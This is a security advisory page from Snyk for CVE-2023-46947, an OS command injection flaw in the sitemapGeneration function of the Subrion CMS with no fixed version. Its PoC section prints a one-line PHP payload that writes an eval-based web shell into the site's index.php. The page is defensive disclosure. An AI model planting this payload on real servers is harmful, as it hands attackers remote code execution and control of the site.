Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Affecting intelliants/subrion package, versions >=0.0.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.15% (53rd percentile)

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  • Snyk IDSNYK-PHP-INTELLIANTSSUBRION-6044790
  • published3 Nov 2023
  • disclosed3 Nov 2023
  • creditahr1i9

Introduced: 3 Nov 2023

CVE-2023-46947  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

There is no fixed version for intelliants/subrion.

Overview

intelliants/subrion is an open source php content management system.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') via the sitemapGeneration function. An attacker can write webshell into the website’s homepage file index.php, potentially leading to unauthorized access and control over the system.

PoC

fputs(fopen('F:/phpStudy/PHPTutorial/WWW/subrion_cms_4.2.1/index.php','a+'),'@eval($_GET[cmd]);');

References

CVSS Scores

version 3.1